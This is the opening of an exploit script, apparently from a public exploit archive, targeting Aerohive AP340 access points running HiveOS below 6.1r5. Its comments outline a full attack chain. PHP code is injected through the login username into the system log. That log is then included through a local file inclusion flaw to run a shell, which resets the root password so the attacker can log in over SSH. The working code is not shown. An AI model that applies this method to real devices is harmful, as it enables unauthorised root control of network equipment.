Aerohive HiveOS 5.1r5 < 6.1r5 - Remote Code Execution

#!/usr/bin/python3

# TARGET: AeroHive AP340 HiveOS < 6.1r5
# Confirmed working on AP340 HiveOS 6.1r2
# This program uses a local file inclusion vulnerability
# 1. Poison the log file in /var/log/messages by injecting PHP code into the 
#    username field of the login page
# 2. Call the uploaded PHP shell with the LFI URL, changing the root password for SSH
# 3. Login with SSH as root using password "password"
